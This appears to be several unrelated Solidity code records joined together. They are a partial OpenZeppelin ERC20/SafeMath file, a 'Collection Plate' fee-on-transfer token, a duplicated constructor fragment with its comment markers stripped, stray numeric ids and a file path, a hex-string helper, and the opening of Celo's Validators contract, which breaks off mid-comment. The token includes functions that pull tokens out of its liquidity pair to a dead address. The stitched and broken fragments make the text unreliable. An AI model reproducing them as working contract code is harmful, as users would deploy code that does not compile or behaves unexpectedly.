Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } contract Collection is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 20; // 20 = .20% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public constant buyMarketingFee = 2; uint256 public constant buyLiquidityFee = 5; uint256 public constant buyDevFee = 0; uint256 public sellTotalFees; uint256 public constant sellMarketingFee = 2; uint256 public constant sellLiquidityFee = 5; uint256 public constant sellDevFee = 2; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); event BoughtEarly(address indexed sniper); constructor() ERC20("Collection Plate", "COLLECTION") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 totalSupply = 1_000_000_000 * 1e18; // 1 billion total supply maxTransactionAmount = 15_000_000 * 1e18; // 1.5% from total supply maxTransactionAmountTxn maxWallet = 30_000_000 * 1e18; // 3% from total supply maxWallet swapTokensAtAmount = (totalSupply * 3) / 10000; // 0.03% swap wallet buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0x23b4392a02E31BE3E29A7756eAF7FE57CbE78314); // set as marketing wallet devWallet = address(0x23b4392a02E31BE3E29A7756eAF7FE57CbE78314); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function startTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
exclude from paying fees or having max transaction amount
constructor() ERC20("Collection Plate", "COLLECTION") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
2,114,107
./full_match/4/0x158ed9615893f82398CB29298Aa534AEA3a1F1AF/sources/browser/nft.sol
Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length./
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "k001"); return string(buffer); }
731,156
pragma solidity ^0.5.13; import "openzeppelin-solidity/contracts/math/Math.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; import "solidity-bytes-utils/contracts/BytesLib.sol"; import "./interfaces/IValidators.sol"; import "../common/CalledByVm.sol"; import "../common/InitializableV2.sol"; import "../common/FixidityLib.sol"; import "../common/linkedlists/AddressLinkedList.sol"; import "../common/UsingRegistry.sol"; import "../common/UsingPrecompiles.sol"; import "../common/interfaces/ICeloVersionedContract.sol"; import "../common/libraries/ReentrancyGuard.sol"; /** * @title A contract for registering and electing Validator Groups and Validators. */ contract Validators is IValidators, ICeloVersionedContract, Ownable, ReentrancyGuard, InitializableV2, UsingRegistry, UsingPrecompiles, CalledByVm { using FixidityLib for FixidityLib.Fraction; using AddressLinkedList for LinkedList.List; using SafeMath for uint256; using BytesLib for bytes; // For Validators, these requirements must be met in order to: // 1. Register a validator // 2. Affiliate with and be added to a group // 3. Receive epoch payments (note that the group must meet the group requirements as well) // Accounts may de-register their Validator `duration` seconds after they were last a member of a // group, after which no restrictions on Locked Gold will apply to the account. // // For Validator Groups, these requirements must be met in order to: // 1. Register a group // 2. Add a member to a group // 3. Receive epoch payments // Note that for groups, the requirement value is multiplied by the number of members, and is // enforced for `duration` seconds after the group last had that number of members. // Accounts may de-register their Group `duration` seconds after they were last non-empty, after // which no restrictions on Locked Gold will apply to the account. struct LockedGoldRequirements { uint256 value; // In seconds. uint256 duration; } struct ValidatorGroup { bool exists; LinkedList.List members; FixidityLib.Fraction commission; FixidityLib.Fraction nextCommission; uint256 nextCommissionBlock; // sizeHistory[i] contains the last time the group contained i members. uint256[] sizeHistory; SlashingInfo slashInfo; } // Stores the epoch number at which a validator joined a particular group. struct MembershipHistoryEntry { uint256 epochNumber; address group; } // Stores the per-epoch membership history of a validator, used to determine which group // commission should be paid to at the end of an epoch. // Stores a timestamp of the last time the validator was removed from a group, used to determine // whether or not a group can de-register. struct MembershipHistory { // The key to the most recent entry in the entries mapping. uint256 tail; // The number of entries in this validators membership history. uint256 numEntries; mapping(uint256 => MembershipHistoryEntry) entries; uint256 lastRemovedFromGroupTimestamp; } struct SlashingInfo { FixidityLib.Fraction multiplier; uint256 lastSlashed; } struct PublicKeys { bytes ecdsa; bytes bls; } struct Validator { PublicKeys publicKeys; address affiliation; FixidityLib.Fraction score; MembershipHistory membershipHistory; } // Parameters that govern the calculation of validator's score. struct ValidatorScoreParameters { uint256 exponent; FixidityLib.Fraction adjustmentSpeed; } mapping(address => ValidatorGroup) private groups; mapping(address => Validator) private validators; address[] private registeredGroups; address[] private registeredValidators; LockedGoldRequirements public validatorLockedGoldRequirements; LockedGoldRequirements public groupLockedGoldRequirements; ValidatorScoreParameters private validatorScoreParameters; uint256 public membershipHistoryLength; uint256 public maxGroupSize; // The number of blocks to delay a ValidatorGroup's commission update uint256 public commissionUpdateDelay; uint256 public slashingMultiplierResetPeriod; uint256 public downtimeGracePeriod; event MaxGroupSizeSet(uint256 size); event CommissionUpdateDelaySet(uint256 delay); event ValidatorScoreParametersSet(uint256 exponent, uint256 adjustmentSpeed); event GroupLockedGoldRequirementsSet(uint256 value, uint256 duration); event ValidatorLockedGoldRequirementsSet(uint256 value, uint256 duration); event MembershipHistoryLengthSet(uint256 length); event ValidatorRegistered(address indexed validator); event ValidatorDeregistered(address indexed validator); event ValidatorAffiliated(address indexed validator, address indexed group); event ValidatorDeaffiliated(address indexed validator, address indexed group); event ValidatorEcdsaPublicKeyUpdated(address indexed validator, bytes ecdsaPublicKey); event ValidatorBlsPublicKeyUpdated(address indexed validator, bytes blsPublicKey); event ValidatorScoreUpdated(address indexed validator, uint256 score, uint256 epochScore); event ValidatorGroupRegistered(address indexed group, uint256 commission); event ValidatorGroupDeregistered(address indexed group); event ValidatorGroupMemberAdded(address indexed group, address indexed validator); event ValidatorGroupMemberRemoved(address indexed group, address indexed validator); event ValidatorGroupMemberReordered(address indexed group, address indexed validator); event ValidatorGroupCommissionUpdateQueued( address indexed group, uint256 commission, uint256 activationBlock ); event ValidatorGroupCommissionUpdated(address indexed group, uint256 commission); event ValidatorEpochPaymentDistributed( address indexed validator, uint256 validatorPayment, address indexed group, uint256 groupPayment ); modifier onlySlasher() { require(getLockedGold().isSlasher(msg.sender), "Only registered slasher can call"); _; } /** * @notice Returns the storage, major, minor, and patch version of the contract. * @return The storage, major, minor, and patch version of the contract. */ function getVersionNumber() external pure returns (uint256, uint256, uint256, uint256) { return (1, 2, 0, 1); } /** * @notice Used in place of the constructor to allow the contract to be upgradable via proxy. * @param registryAddress The address of the registry core smart contract. * @param groupRequirementValue The Locked Gold requirement amount for groups. * @param groupRequirementDuration The Locked Gold requirement duration for groups. * @param validatorRequirementValue The Locked Gold requirement amount for validators. * @param validatorRequirementDuration The Locked Gold requirement duration for validators. * @param validatorScoreExponent The exponent used in calculating validator scores. * @param validatorScoreAdjustmentSpeed The speed at which validator scores are adjusted. * @param 